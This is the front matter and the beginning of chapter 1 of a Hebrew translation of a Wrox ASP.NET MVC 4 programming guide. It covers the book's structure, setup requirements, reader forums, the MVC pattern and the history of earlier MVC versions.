
 
 מדריך

ASP.NET MVC 4 
 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

  על קבצי קוד המקורבהקדמהקרא 



 יצחק עמיהוד, שרה עמיהוד: עריכה לשונית ועיצוב

 תומר שפינדל: תרגום

 שרון רז: עיצוב עטיפה

 ייעוץ המקצועיעריכה וה על המאיר קרודולתודה 

 שמות מסחריים
הוצאת . סחריים רשומים של החברות שלהםשמות המוצרים והשירותים המוזכרים בספר הינם שמות מ

 עשו כמיטב יכולתן למסור מידע אודות השמות המסחריים המוזכרים Wrox - וWileyעמי והוצאות -הוד
 registered(שמות מסחריים רשומים . המוצרים והשירותים, בספר זה ולציין את שמות החברות

trademarks (המוזכרים בספר צוינו בהתאמה . 

 הודעה 
נעשו מאמצים רבים לגרום לכך שהספר יהיה שלם ואמין . ר זה מיועד לתת מידע אודות מוצרים שוניםספ

 .אך אין משתמעת מכך כל אחריות שהיא, ככל שניתן
 אינן אחראיות כלפי יחיד או Wrox - וWileyוצאות והעמי -הוצאת הוד. ("as is")" כמות שהוא"המידע ניתן 

או (מהקבצים שבאתר או , מהמידע שבספר זה, אם ייגרם, אשר ייגרםארגון עבור כל אובדן או נזק 
 .) לופים להיות מצוריםשעשויקבצי מחשב /דיסקט/תקליטורמ

ההוצאה , עם זאת. עמי והמחבר עשו כל מאמץ שתוכן הספר יהיה אמין ושלם-הוצאת הוד
דוחים כל ובמיוחד , והמחבר אינם טוענים לאמינות ולשלמות של התכנים המוצגים בספר זה
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אלא לשם הבנת הכתוב ותיקון שיבושי , ים שירותים שונים הכרוכים בשימוש בספראינם מספק
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 .ועל כן להיות שונים ממה שהוצג בספר, אשר עלולים לחול באתרים המוזכרים בספר
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limitation warranties of fitness for a particular purpose. No warranty may be created 
or extended by sales or promotional materials. The advice and strategies contained 
herein may not be suitable for every situation. This work is sold with the 
understanding that the publisher is not engaged in rendering legal, accounting, or 
other professional services. If professional assistance is required, the services of a 
competent professional person should be sought. Neither the publisher nor the 
author shall be liable for damages arising herefrom. The fact that an organization or 
Website is referred to in this work as a citation and/or a potential source of further 
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readers should be aware that Internet Websites listed in this work may have 
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 xix   הקדמה

 הקדמה

 !ASP.NETזו תקופה טובה להיות מפתח יישומי 

לנוכח ,  ובין אם אתם רק בתחילת דרככםASP.NETבין אם אתם מפתחים מנוסים של יישומי 
, כבר מהגרסה הראשונה. ASP.NET MVC 4המגמות של היום כדאי לכם מאוד ללמוד 

חרונים נוספו אולם בשני העדכונים הא,  הייתה קלה ופשוטהASP.NET MVCהעבודה עם 
לתשתית התוכנה מספר רב של אפשרויות חדשות אשר הופכות את תהליך הפיתוח לחוויה 

 . ממש מהנה

, Razorכגון מנוע התצוגה ,  התווספו תכונות שונותASP.NET MVC 3לגרסת התוכנה 
 לפישוט תהליכי פיתוח jQueryואינטגרציה מובנית עם , NuGetאינטגרציה עם מנהל החבילות 

Ajax . מגמת הרחבת התשתית המשיכה גם בגרסהASP.NET MVC 4 , אשר כוללת עיצוב חזותי
 ASP.NET קלים יותר באמצעות ממשק HTTPשירותי , תמיכה ביישומים להתקנים ניידים, חדש

Web API , אינטגרציה פשוטה יותר עם אתרים פופולריים הודות לתמיכתOAuthועוד,  מובנית .
 הקיימות והחדשות מאפשר לכל אחד להתחיל לעבוד באופן השילוב של כל האפשרויות

 .כמעט מיידי בפיתוח של יישומי אינטרנט מלאים

כל הכלים בנויים על תשתית . שחרר-אין זה שיפור קצר טווח בלבד באמצעות מנגנוני גרור
דפוסים שמספקת למפתח שליטה מוחלטת על כל היבטי היישום בכל שלב -יציבה ומבוססת

  .של התהליך

 !ASP.NET MVC 4הצטרפו אלינו למסע מהנה ומאלף אל נבכי תשתית התוכנה  , אם כן

  מיועד ספר זהילמ
 ASP.NETמיועד להדריך את הקוראים להשתמש בתשתית  ASP.NET MVC 4מדריך הספר 

MVC ,החל מהעקרונות הבסיסיים ביותר עד לנושאים המתקדמים . 

הפרקים הראשונים של , ASP.NET MVCית אם זוהי הפעם הראשונה שאתם נחשפים לתשת
הספר יעזרו לכם להבין את המושגים הבסיסיים ולתרגל את השימוש בהם באמצעות מספר רב 

מחברי הספר לימדו אלפי אנשים כיצד להתחיל לעבוד עם . של דוגמאות קוד מעשיות
ASP.NET MVC ,ויודעים בדיוק כיצד למזער ככל האפשר את ההסברים המשעממים כדי 

 . שתוכלו להתחיל לעבוד כמה שיותר מהר

נציין מפעם ,  ולכןASP.NET Web Formsעובדים עםאנחנו מבינים שחלק מקוראי הספר כבר 
כדי להבהיר את , לפעם קווי דימיון והבדלים בין התשתית הקודמת לבין התשתית החדשה

חליף את  לא נועדה להASP.NET MVCזה המקום לציין שתשתית . ההקשרים הרלוונטיים
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ASP.NET Web Forms . תשתיות יישומי אינטרנט שמבוססות על תבניתMVC) Ruby on Rails ,
Django , מספר תשתיותPHPואם גם אתם , הן נושא חם בקרב קהילת מפתחי האתרים)  ועוד

הספר , או אם אתם סתם סקרנים, מעוניינים לרתום את כוחה האדיר של תבנית העיצוב הזו
 . םהזה הוא בשבילכ

השקענו מאמצים רבים כדי לוודא שהספר יוכל לתרום ידע חשוב גם למפתחים בעלי ניסיון 
תמצאו בספר הסברים רבים על שיטות עיצוב של אלמנטים השונים . ASP.NET MVCקודם עם 

כולל , הוספנו פירוט מעמיק של התכונות החדשות. ומהי הדרך הטובה ביותר להשתמש בהם
ובו , Phil Haackהספר כולל פרק חדש שנכתב על ידי . ASP.NET Web APIפרק חדש לגמרי על 

 מובילים אחרים לבניית ASP.NET MVCהוא מתאר כלים וטכניקות שמשמשות אותו ומפתחי 
 NuGet Galleryואשר מבוססים על אתר ,  אמיתיים עם נפח תנועה גבוהASP.NET MVCאתרי 

 . בתור דוגמה

 מבנה הספר
בתחילה מוצגת . שכל אחד מהם מורכב ממספר פרקים, חלקים כללייםספר זה מחולק לשני 

 . ASP.NET MVC ומוסבר אופן היישום שלה על ידי תשתית MVCתבנית 

הפרק . ASP.NET MVC 4נועד לעזור להתחיל בפיתוח יישומי , "צעדים ראשונים", 1פרק 
לוש הגרסאות  לשASP.NET MVC 4ומשווה בין , ASP.NET MVCמסביר מהי למעשה תשתית 

 .  חדשASP.NET MVC 4תלמדו ליצור יישום  , לאחר התקנת התוכנות הנדרשות. שקדמו לה

נתחיל . עוסק בעקרונות הבסיסיים של בקרים ופעולות, ")Controllers (בקרים", 2פרק 
 ולהציג את URLולאחר מכן נלמד לשלוף מידע מכתובת , הבסיסית" hello world"בדוגמה 

 . דפדפןהמידע בחלון ה

מסביר כיצד להשתמש בתבניות תצוגה כדי לשלוט בייצוג החזותי , ")Views (תצוגות", 3פרק 
כולל התחביר , Razorנכיר את מנוע התצוגה . של הפלט שמופק על ידי פעולות הבקר

 . ואפשרויות שונות שבאמצעותן תוכלו לשמור על הסדר והעקביות בתצוגות

ד כיצד להשתמש במודלים כדי להעביר מידע מהבקר מלמ, ")Models (מודלים", 4פרק 
קוד "באמצעות פיתוח (וכיצד מתבצעת האינטגרציה של המודלים עם בסיס הנתונים , לתצוגה
 ). Entity Frameworkשל " תחילה

ומסביר כיצד , מכיל דיון מעמיק יותר בתרחישי עריכה, "HTML Helpers -ו טפסים", 5פרק 
 HTMLבנוסף תלמדו כיצד להשתמש בסייעי . ASP.NET MVCשומי מתבצע הטיפול בטפסים ביי

 . לכתיבת קוד תצוגה נקי

מסביר כיצד להשתמש בתכונות להגדרת כללים שמכתיבים , " נתונים ואימותןסימו", 6פרק 
 . העריכה והאימות של המודלים שתפתחו, את אופן ההצגה
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, ASP.NET MVCטח יישומי מלמד כיצד לאב, "ואבטחה הרשאה, משתמשים רישום", 7פרק 
תלמדו להשתמש באפשרויות החברות . כולל פירוט של טעויות נפוצות וכיצד להימנע מהן

 . ASP.NET MVC כדי לשלוט בגישה ליישומי ASP.NETוההרשאה של 

תוך מתן דגש , ASP.NET MVC שפועלים במסגרת יישומי Ajaxעוסק ביישומי , "Ajax", 8פרק 
 Ajax בפרק ניתן הסבר על השימוש בסייעי .jQuery Validation - וjQuery UIלהרחבות מיוחד 

 . jQuery וכיצד יש להשתמש בצורה יעילה עם מערכת האימות של ASP.NET MVCשל 

כולל דיון מעמיק במערכת הניתוב שאחראית למיפוי כתובות , ")Routing (ניתוב", 9פרק 
URLלפעולות בקר  . 

מדריך בדבר הקשר של המערכת . NuGetערכת ניהול החבילות מציג את מ, "NuGet", 10פרק 
וכיצד להשתמש בה להתקנה ולעדכון של , כיצד להתקין אותה, ASP.NET MVCלתשתית 

 . חבילות וליצירה של חבילות חדשות

 באמצעות HTTPמלמד כיצד ליצור שירותי , "ASP.NET Web API תשתיתה", 11פרק 
 .  החדשהASP.NET Web API תשתית

מסביר מהי הזרקת תלויות ומראה , ")dependencies injection (הזרקת תלויות", 12פרק 
 . כיצד להשתמש בהזרקת תלויות ביישומים שמפתחים

בדיקות -מראה כיצד להשתמש בפיתוח מונחה, ")unit testing (בדיקות יחידה", 13פרק 
 . יקות יחידה יעילותומציג עצות שימושיות לכתיבת בד, ASP.NET MVCלבניית יישומי 

ומלמד כיצד , ASP.NET MVCסוקר את נקודות ההרחבה של , "MVCהרחבת תשתית ", 14פרק 
 . ניתן להרחיב את התשתית כדי להתאימה לצרכים היחודיים של מפתחים שונים

עוסק במספר נושאים מתקדמים שקשה להסביר ללא הידע , "נושאים מתקדמים", 15פרק 
מוצגות בו סוגיות מתקדמות בנושאים .  הפרקים הראשונים14של שנצבר במהלך הלימוד 

Razor ,Scaffolding ,במיוחד יש להדגיש את ההסברים לשימוש . תבניות ובקרים, ניתוב
 .ASP.NET MVCלהצגת אתרי  " חכמים טלפונים"ב

כולל סקירה של אתר , "NuGet.org בניית אתר:  בעולם האמיתיASP.NET MVC", 16פרק 
NuGet Gallery) http://nuget.org (בפרק ניתן . כדי ללמוד כיצד הדברים נראים בעולם האמיתי

 התמודדו עם סוגיות כגון ASP.NETלראות כיצד פיל האק ושאר המפתחים המובילים של 
פריסה ושינויים בבסיס הנתונים במהלך הבנייה של אתר ברמה גבוהה , חברות, בדיקות

 . ASP.NET MVCבאמצעות 

 . מפורטאינדקסהספר תמצאו בסוף 
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 תוכנות נדרשות
 סביר להניח שתזדקקו לעותק של סביבת ASP.NET MVCכדי לפתח יישומים באמצעות 

 Microsoft Visual Studio Express 2012 forתוכלו להשתמש במהדורה . Visual Studioהפיתוח 

Web , בתשלום של או בכל גרסהVisual Studio 2012) Visual Studio 2012 Professional ,
 . ASP.NET MVC 4 כבר כוללת את Visual Studio 2012סביבת הפיתוח ). למשל

 :  ניתן להוריד בכתובות אלוVisual Studio Express ואת Visual Studioאת 

 Visual Studio: www.microsoft.com/vstudio 

 Visual Studio Express: www.microsoft.com/express/ 

משתמשים אם אתם . Visual Studio 2010 SP1 גם עם ASP.NET MVC 4מש בתשתית להשתניתן 
תוכלו .  בנפרדASP.NET MVC 4עליכם להתקין את , Visual Studio 2010  הפיתוחבסביבת

 :להוריד את התשתית בכתובת הבאה

 ASP.NET MVC 4: www.asp.net/mvc 

ה הסברים מפורטים כיצד להכין ובכלל ז,  תמצאו הסבר מפורט של דרישות התוכנה1בפרק 
 . את מחשבי הפיתוח והשרת שלכם

 מוסכמות
 . השתמשנו בספר זה במספר מוסכמות, כדי לעזור לכם להפיק יותר

 מאמר מוסגר

או , ASP.NETתחבולות ואנקדוטות באדיבות צוות המוצר של , בתיבות מסוג זה תמצאו עצות
 .כל מידע אחר שקשור ישירות לנושא הנוכחי

 

 .רמזים ותחבולות שקשורות לדיון הנוכחי מוצגים במסגרת כזו, טיפים רההע

 : מבחינת סגנון הטקסט

  מודגש מונחים חדשים מודפסים בגופן)Bold (והמונח באנגלית מוצג בסוגריים . 

 נקודות עוקבות3-קוד או תוכן בתוכנית שאינו רלוונטי לדיון מושמט ומוחלף ב . 

 צירופי מקשים נכתבים כך :Ctrl+A . 
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 קטעי קוד מקור מודפסים בשני סגנונות : 

o הרוב קטעי הקוד מודפסים בגופן קוד ללא הדגש : 
ViewBag.Message = "Hello World. Welcome to ASP.NET MVC!"; 

o  ייצגותקוד שמשורות קטעי קוד בעלי חשיבות מיוחדת בהקשר הנוכחי או 
 . גששינויים לעומת קטע הקוד הקודם מודפסים בגופן מוד

ViewBag.Message = "Hello World. Welcome to ASP.NET MVC!"; 

 קוד מקור 
 כדי לנסות בעצמכם את דוגמאות NuGetבמהלך הספר נמליץ לכם מדי פעם להתקין חבילת 

 . הקוד שמופיעות בספר
Install-Package <שם החבילה> 

NuGet הוא מנהל חבילות שמיועד עבור .NETו -Visual Studio ,ותח על ידי ופOutercurve 

Foundation ושולב על ידי Microsoft בתשתית ASP.NET MVC . במקום להוריד קבציzip עם 
 באמצעות ASP.NET MVCתוכלו להוסיף את הקבצים ליישום , Wroxדוגמאות קוד מאתר 

NuGet בקלות רבה דרך Visual Studio . בצורה זו תוכלו לנסות את דוגמאות הקוד בעצמכם
 שמסביר על 10ראו פרק (  ולהבטיח כי הקוד שהורדתם הינו העדכני ביותרלות וללא מאמץבק

 .)NuGetמערכת 

 טעויות דפוס או קוד
אבל כידוע אף אחד אינו . כל שביכולתנו כדי לוודא שאין שגיאות בטקסט או בקודעשינו 
כגון שגיאת איות או שגיאת , בספראם אתם מוצאים שגיאה . וטעויות קורות לפעמים, מושלם

על ידי הפניית תשומת ליבנו לשגיאה אתם תוכלו לחסוך . ו נשמח לשמוע עליהאנחנ, קוד
ובמקביל לעזור לנו לספק לקהל הקוראים שלנו מידע , לקוראים אחרים שעות של תסכול

 .59459 ובנושא כתוב info@hod-ami.co.il -שלח מייל ל. ומדויק יותראיכותי 

 אל יש לפנותלשם כך . עמי אינה נותנת שירותי סיוע בתכנות או בהבנת הכתוב-הוצאת הוד
 .יועץ תכנות

  p2p.Wrox.comהאתר 
. p2p.wrox.com - בP2Pהצטרפו לפורומים של , כדי להשתתף בדיונים עם המחבר ועמיתים

 Wroxתוכלו לפרסם הודעות שנושאן ספרי הפורומים הם מערכת מבוססת אינטרנט שבה 
ניתן להיות . וליצור קשר עם קוראים אחרים ומשתמשי הטכנולוגיות, וטכנולוגיות קשורות

מנוי בפורומים ולקבל הודעות דואר אלקטרוני בתחומי העניין שלכם בכל פעם שנוספים 
 .  לפורומים פרסומים חדשים



xxiv   דריךמ ASP.NET MVC 4 

אלא גם , ה פורומים שיעזרו לכם לא רק במהלך קריאת הספר תמצאו כמp2p.wrox.com -ב
 : כדי להצטרף לפורומים עקבו אחר הצעדים הבאים. בפיתוח היישומים שלכם

 . )הרשמה (Register ולחצו על הקישור p2p.wrox.com -היכנסו ל .1

 .)מסכים (Agreeקראו את תנאי השימוש ולחצו  .2

, וכל מידע בחירה אחר שברצונכם לספק, רףהשלימו את המידע הנדרש כדי להצט .3
 . )שלח (Submitולחצו 

, תקבלו הודעת דואר אלקטרוני עם מידע שמתאר כיצד לאמת את החשבון שלכם .4
 .ולהשלים את תהליך ההצטרפות

אבל כדי לפרסם הודעות משלכם , P2P-אפשר לקרוא הודעות מהפורומים מבלי להצטרף ל
 .אתם חייבים להצטרף

תוכלו לפרסם הודעות חדשות ולהגיב להודעות של , מת תהליך יצירת החשבוןהשללאחר 
אתם יכולים לקרוא את ההודעות בפורום מתי שתרצו מכל מחשב עם . משתמשים אחרים
שלחנה אליכם בדואר יאם אתם רוצים שהודעות בנושאים מסוימים ת. חיבור לאינטרנט

 .  שבסמוך לשם הפורום ברשימת הפורומיםSubscribe to this Forumלחצו על סמל , אלקטרוני

. P2Pבקרו בדף השאלות הנפוצות של , Wrox P2Pלמידע נוסף על שימוש במערכת הפורומים 
ומגוון שאלות נפוצות , הדף כולל תשובות לשאלות בנוגע לאופן פעולתה של תוכנת המערכת

לחצו על , ותכדי להגיע לדף השאלות הנפוצ. Wrox ולספרי P2Pאחרות בנוגע למערכת 
 .  שמופיע בכל אחד מדפי האתרFAQהקישור 

 על העורך המקצועי
 שנות 15-בעל כ, איש פיתוח תוכנה, מאיר קרודו המקצועי העורך
ים טעובד כיועץ לארגונים ומספק שירותי פיתוח וליווי פרויק, ניסיון

 .Mobile- והWEB-בעולם ה

וביניהם , עמי-ודמקצועי לספרים נוספים בהועורך מאיר משמש כיועץ 
"Visual C# 3.0ו"  סדנת לימוד-"ASP.NET 3.5סדנת לימוד ." 

dev@krudo.net 

 

 

 



 1   צעדים ראשונים: 1פרק 

 1פרק 

 צעדים ראשונים

Jon Galloway 

 

 עיקרי הפרק

  הבנתASP.NET MVC 

  סקירתASP.NET MVC 4  

 מייצירת יישו MVC 4 

  של יישומי המבנהMVC 

 

התוספות החדשות לגרסת נסקור את ההיסטוריה ואת , ASP.NET MVC נדון בקצרה עלפרק זה ב
ASP.NET MVC 4 ,להתחיל שניתן לפני תוח סביבת הפיהגדרות התצורה הנדרשות בנדון בו

  .םלבנות יישומי

ולכן , טרנטיישומי אינפיתוח של תשתית הרביעית מקצועי שעוסק בגרסה זה הינו ספר ספר 
מן . ASP.NET MVC ולא ננסה לשכנע אתכם שכדאי לכם ללמוד ,לא נאריך בדברי הקדמה

 ליעילות של הטובה ביותרהוכחה ה, בכל מקרה.  זו בדיוק הסיבה שקניתם את הספר,הסתם
 . יםתיילהראות כיצד להשתמש בהן ביישומי אינטרנט אמתשתיות ותבניות פיתוח היא 

 ASP.NET MVCהקדמה קצרה לתשתית 
ASP.NET MVCעל ידי החלת העקרונות משמשת לבניית יישומי אינטרנט  אשר  הינה תשתית

כדי . ASP.NET  על תשתית)MVC - Model View Controller (בקר-תצוגה-מודלתבנית של 
תשתית בין  לASP.NET MVCבין הקשר את תחילה נתאר , להבין מה בדיוק אומר המשפט הזה

ASP.NET . 



 ASP.NET MVC 4    מדריך 2

 ASP.NET עם תמשתלב ASP.NET MVC כיצד

 Web - וASP.NET -בקלות שהיה לחשוב היה אפשר , 2002 הושקה בשנת ASP.NET 1.0כאשר 

Formsתשתית.זה מדויקאין  אך, יוקקולים שמתייחסים לאותו דבר בד הם מושגים ש ASP.NET  
 ): אבסטרקציה(בשתי שכבות של הפשטה מאז ומתמיד תמכה 

 System.Web.UI : שכבתWeb Forms , ניהול מצב,שרתרכיבי תצוגה של צד  
)ViewState (וכו' . 

 System.Web :כולל , טיפול במחזור החיים של בקשות אינטרנטאשר מספקת , הצנרת
 . ' וכוHTTPמחסנית , )handlers(מטפלים , מודולים

 תוך ניצול -מלאה  Web Forms כללו מחסנית ASP.NETשיטות הפיתוח המקובלות באמצעות 
וטיפול במורכבויות  ,רכיבי התצוגה אשר מנהלים באופן אוטומטי את מצבםהיכולות של 

 HTMLת תגיו,  קרובות עשוי להיות מבלבללעתיםמחזור חיי הדף ש(השונות מאחורי הקלעים 
 ). ' אופטימליות שקשה מאוד להתאים באופן אישי וכולא

 באופן HTTP להגיב לבקשות -הייתה אפשרות לחדור מבעד לשכבות ההפשטה תמיד , עם זאת
מושלמים HTML לכתוב דפי , לבנות תשתיות אינטרנט שיפעלו בדיוק כפי שאתם רוצים, ישיר

זה היה . ולים וצורות אחרות של קוד ידנימוד, )handlers (פלים באמצעות מט-באופן ידני 
שתמכו באפשרויות מובנות ניות פשוט לא היו מספיק תב. אבל כרוך בעבודה מפרכת, אפשרי
בזמן . מדעי המחשב הרחב ביותרבתחום מחסור בתבניות הסיבה לכך לא הייתה  .הללו

מהגישות  ביססה כבר את מעמדה כאחת MVCתבנית , 2007 בשנת ASP.NET MVCההכרזה על 
 . הפופולריות ביותר לבניית תשתיות פיתוח יישומי אינטרנט

 MVC תבנית

 מהווה כבר שנים רבות תבנית) MVC - Model View Controller (בקר-תצוגה-מודלתבנית 
 היה 1979השם המקורי שניתן לתבנית בשנת . ארכיטקטונית חשובה בתחום מדעי המחשב

Thing-Model-View-Editor ,התבנית מייצגת דרך יעילה .  הנוכחין הוא קוצר לשמהולאחר מכ
רכיב הגישה לנתונים מרכיב הפרדת , כמו למשל(ואלגנטית להפרדת התפקידים בתוך היישום 

המוחלטת של התפקידים ההפרדה . לעיצוב יישומי אינטרנטאידיאלית והיא , )צוגההטיפול בת
 שמתקבלת רבהלם התועלת האו, מוסיפה אומנם מידת מה של מורכבות לעיצוב היישום

עשרות יושמה על ידי התבנית , בשנים שחלפו מאז גיבושה. בתמורה בהחלט שווה את המאמץ
, Windows- וMacבמערכות  ++C - וJava בשפות MVCניתן למצוא את עקרונות : תשתיות

 .  רבותובמנגנוני הפעולה הפנימיים של תשתיות

 : של היישום לשלושה היבטים עיקריים) UI( מפרידה את ממשק המשתמש MVCתבנית 

 חוקים  את הו, פועלים עליהםקבוצה של מחלקות שמתארות את הנתונים שאתם : מודל
 . שמכתיבים את השימוש והעריכה של הנתונים הללוהעסקיים 

 אופן ההצגה של ממשק המשתמש של היישום הגדרת: תצוגה . 
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 בקרת הזרימה ב, תמשקבוצה של מחלקות אשר מטפלות בתקשורת עם המש: בקר
 . היגיון ייחודי של היישוםבהכללית של היישום ו

 תבנית ממשק משתמש בתור MVCתבנית 

 מספקת MVCתבנית .  בתור תבנית לעיצוב ממשק המשתמשMVCשימו לב שהתייחסנו לתבנית 
אך אינה עוסקת בטיפול בסוגיות , עם המשתמש) הידודיות (אינטראקציותבפתרון לטיפול 

. 'אינטראקציות עם שירותים וכו, כגון גישת לנתונים, עסיקות מפתחי יישומיםאחרות שמ
אבל רק , זוהי תבנית שימושית: MVCחשוב לזכור את הנקודה הזו כאשר מתחילים לעבוד עם 

 . אחת מבין תבניות עיצוב רבות שתשמשנה אתכם לפיתוח היישום שלכם

 טת פיתוח יישומי אינטרנתשתי כMVCהשימוש בתבנית 

 ASP.NET MVCעם , באופן כללי.  נעשה שימוש נרחב לתכנות יישומי אינטרנטMVCבתבנית 
 : בנית באה לידי ביטוי באופן הבאהת

 מודלים) Models( :ת את התחום שמעסיק אתכםומעשה מחלקות אשר מייצגו הן לאל .
ר אש) encapsulation( קרובות לכימוס נתונים לעתיםאובייקטי התחום הללו משמשים 

חוקים  הנתונים ולאכיפת עדכוןושל קוד אשר משמש ל, סיס הנתוניםבמאוחסנים ב
המודלים יהוו ברוב המקרים מעין שכבת גישה , ASP.NET MVCבעבודה עם . עסקיים
 בשילוב עם קוד NHibernate או Entity Frameworkתוך שימוש בכלים כגון , לנתונים

  .לתחוםלוגיקה עסקית הקשורה מותאם שמכיל 

 תצוגה) View( : תבנית אשר מחוללת תגיותHTMLעוד על נושא זה בפרק .  באופן דינמי
 . שבו נתעמק בתצוגות 3

  בקר)Controller(:ראי על ניהול היחסים והוא אח,  הבקר מיוצג על ידי מחלקה מיוחדת
וקובע איזו , מדבר עם המודל, הוא מגיב לקלט מהמשתמש. המודלבין התצוגה לבין 

מסומנת על פי מחלקות בקר , ASP.NET MVCבתשתית ). אם בכלל(יך לממש תצוגה צר
 . Controllerהמוסכמה בסיומת 

ואופן היישום שלה שונה בין ,  הינה תבנית עיצוב על כלליתMVC לזכור כי חשוב הערה
 MVCשכאשר השתמשו בתבנית , מפתחים מספרים. הסביבות השונות המיישמות עיצוב זה

 ASP.NETמכיוון שהם הניחו שתשתית , או תסכול/דבר גרם להם לבלבול וה, בסביבות שונות

MVC שנים במערכות עיבוד במחשב המרכזי  15 תפעל כפי שהשתמשו בה בעבר לפני
)mainframe .(ובצדק , התשתית פועלת באופן שונה לחלוטין. כמובן שזו הנחה שגויה- 

ASP.NET MVC בסיס תבנית  מספקת תשתית פיתוח אינטרנטי יעילה עלMVC , ופעולתה על
 . נמנים על הגורמים להצלחתה -והתאמתה להקשר , NET.פלטפורמת 
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 מסתמכת על אסטרטגיות בסיסיות רבות שמשמשות גם פלטפורמות ASP.NET MVCתשתית 
MVCובנוסף מאפשרת למפתחים ליהנות מהיתרונות של קוד מהודר ,  אחרות)compiled (

 וטיפוסים lambdasכמו למשל ביטויי , NET. חדשות יותר של ולנצל תכונות שפה, ומנוהל
 מיישמת את רוב ASP.NET MVCברמת הליבה תשתית , אך כאמור. דינמיים ואנונימיים

 : MVC-האלמנטים שמאפיינים תשתיות פיתוח יישומי אינטרנט מבוססות

 מוסכמות במקום תצורות. 

  עיקרון (הימנעות מחזרותDRY - Don’t Repeat Yourself.( 

 תכנות מודולרי במידת האפשר. 

 ומתן חופש ועצמאות פיתוח מצד שני, מתן סיוע למפתח מצד אחד . 

 MVC 4לגרסת התחנות בדרך 

ובשלוש השנים שחלפו מאז , 2009 במרץ  לשוק יצאהASP.NET MVCהגרסה הראשונה של 
, ASP.NET MVC 4כדי להבין את .  ארבע גרסאות משמעותיות ועוד מספר עדכוני בינייםיצאו
 נתאר את התוכן ואת הרקע לכל בסעיף זה. את האבולוציה של התשתית  תחילה להביןעלינו

 . ASP.NET MVCשל הקודמות אחת משלוש הגרסאות העיקריות 

 ASP.NET MVC 1סקירת 

הליבה של את  יצר Microsoftמחברת ") ScottGu"הידוע גם כ  (Scott Guthrie, 2007בפברואר 
ASP.NET MVCזה היה . ועידה מקצועית בחוף המזרחי של ארצות הבריתו במהלך טיסה ל

אבל לא היה גבול לפוטנציאל , ל כמה מאות שורות קודויישום פשוט שכלל בסך הכ
מפתחי יישומי האינטרנט לקהלים מסוימים בקרב ציבור לספק הוא יכול היה שולאפשרויות 

 . Microsoftשל 

, וושינגטון,  ברדמונד2007 שנערכה באוקטובר Austin ALT.NETועידת והאגדה מספרת כי ב
ושאל אם הם חושבים " משהו נחמד שכתבתי בזמן הטיסה"רי הראה לקבוצה של מפתחים 'גות

האמת היא שאנשים רבים היו מעורבים . זה היה להיט. כזה ומה דעתםבמשהו שיש צורך 
אילון ליפטון שלח את . Scaleneתחת שם הקוד שפותח , הטיפוס הראשוני-בהכנה של אב

ניהם ירי החליפו ב'והוא וגות, 2007הטיפוס בדואר אלקטרוני לצוות בספטמבר -גרסת אב
 . קטעי קוד ורעיונות, גרסאות נוספות

 שונה מאוד ממוצרי ASP.NET MVCהיה ברור שתשתית ,  של התוכנהגם לפני השחרור הרשמי
Microsoftהוא : מה מאוד גבוהה של אינטראקטיביותמחזור הפיתוח אופיין בר.  הסטנדרטיים

והקוד , ניתנה גישה מלאה לבדיקות יחידה,  גרסאות מקדימות לפני השחרור הרשמי9כלל 
ששמה חשיבות הגישות הללו נועדו לתת ביטוי לפילוסופיה . שיון קוד פתוחיפורסם תחת ר

הייתה שגרסת התוצאה הסופית .  תהליך הפיתוחבמהלךהקהילה רבה על מעורבות פעילה של 
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MVC 1 כבר נוסתה ונבדקה באופן מקיף על ידי - כולל הקוד ויחידות הבדיקה - הרשמית 
 . 2009 במרץ 13- שוחררה בASP.NET MVC 1גרסת . המפתחים שישתמשו בה

 ASP.NET MVC 2סקירת 

להלן כמה . 2010במרץ ,  בלבד לאחר שנה אחת לשוק יצאהASP.NET MVC 2  התוכנהגרסת
 : ASP.NET MVCה של י השניההעיקריות שנכללו בגרסנות מהתכו

  סייעיUI )UI helpers ( מערך יסודותעם )scaffolding( אוטומטי באמצעות תבניות 
 . ניתנות להתאמה אישיתה

 בצד הלקוח ובצד השרת מאפיינים-אימות מבוסס. 

  סייעיHTML סוגי נתונים מוגדרים בעלי . 

 ם משופר בסביבת הפיתוחמערך כלי Visual Studio. 

 בתגובה ,לתשתית שהוספו  ומאפיינים מתקדמיםAPI שדרוגיהגרסה כללה גם מספר רב של 
 לבניית מגוון רחב של ,ASP.NET MVCהשתמשו בגרסה הראשונה של משוב ממפתחים אשר ל

 : התכונות החדשות כללו בין השאר. יישומים

  אזוריםלתמיכה בחלוקה של יישומים גדולים) areas(.  

 ה בבקרים אסינכרונייםתמיכ . 

  אתר באמצעות  או דףמתוך תמיכה במימוש מקטעי משנהHtml.RenderAction . 

 ושיפורים לממשק , כלים חדשים, מגוון רחב של פונקציות עזר חדשותAPI. 

שינויים הימנעות מ יה הASP.NET MVCבגרסה השנייה של שהוטמע אחד התקדימים החשובים 
אני חושב שעובדה זו מעידה על יעילות הארכיטקטורה של . על חשבון תכונות קיימות

ASP.NET MVC ,שמעותיות ומגוונות ללא צורך בשינויים לליבה של הרחבות מתאשר מאפשר 
 . התשתית

 ASP.NET MVC 3סקירת 

 , חודשים בלבד לאחר הגרסה השנייה10- לשוק כ יצאהASP.NET MVCהגרסה השלישית של 
התכונות . WebMatrix כלי הפיתוח ם תאריך השחרור שלבשל הרצון להיות מתואמים ע

 :  כוללותMVC 3העיקריות שנוספו לגרסת 

  מנוע התצוגהRazor. 

 סימון נתונים שלתמיכה ב.NET 4  

 אימות מודל משופר. 

 תלויות ומסנני פעולה מיפויב עם תמיכה ,שליטה טובה יותר וגמישות משופרת 
 . גלובליים

  תמיכתJavaScriptם  משופרת עunobtrusive JavaScript ,בדיקות jQuery , וקישורJSON . 
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  שימוש במנהל החבילותNuGet  יחסי התלות בכל חלקי וניהול תוכנות להתקנת
 . הפלטפורמה

את הדיון על ועל כן נרחיב , ובלתי מוכרותי למדחדשות הן  MVC 3התכונות שנוספו לגרסת 
 . ניהןיחשובות שבה

שלהוטים , MVC מיועד למפתחים בעלי ניסיון קודם עם סיכום התכונות שלהלן הערה
 .לשמוע אילו תכונות נוספו לגרסאות החדשות

אל תיבהלו אם ההסברים שלהלן לא יהיו מובנים , ASP.NET MVCאם לעולם לא עבדתם עם 
אתם יכולים לדלג לסעיף הבא ולחזור . נדון בהן בהרחבה במהלך הלימוד בספר זה. לכם כלל

 . ותרלכאן מאוחר י

 Razorמנוע התצוגה 

 HTMLדפי ביותר בהקשר של מימוש  הינה העדכון המשמעותי Razor  מנוע התצוגההוספת
מנוע התצוגה הסטנדרטי .  לפני למעלה מעשורASP.NETמאז השקת הגרסה הראשונה של 

מנוע התצוגה של "בפשטות  נקרא ASP.NET MVCשיושם בגרסאות הראשונה והשנייה של 
Web Forms"  השתמש בקבצי מכיוון שהואASPX/ASCX/MASTER זהים לאלו אשר  ובתחביר

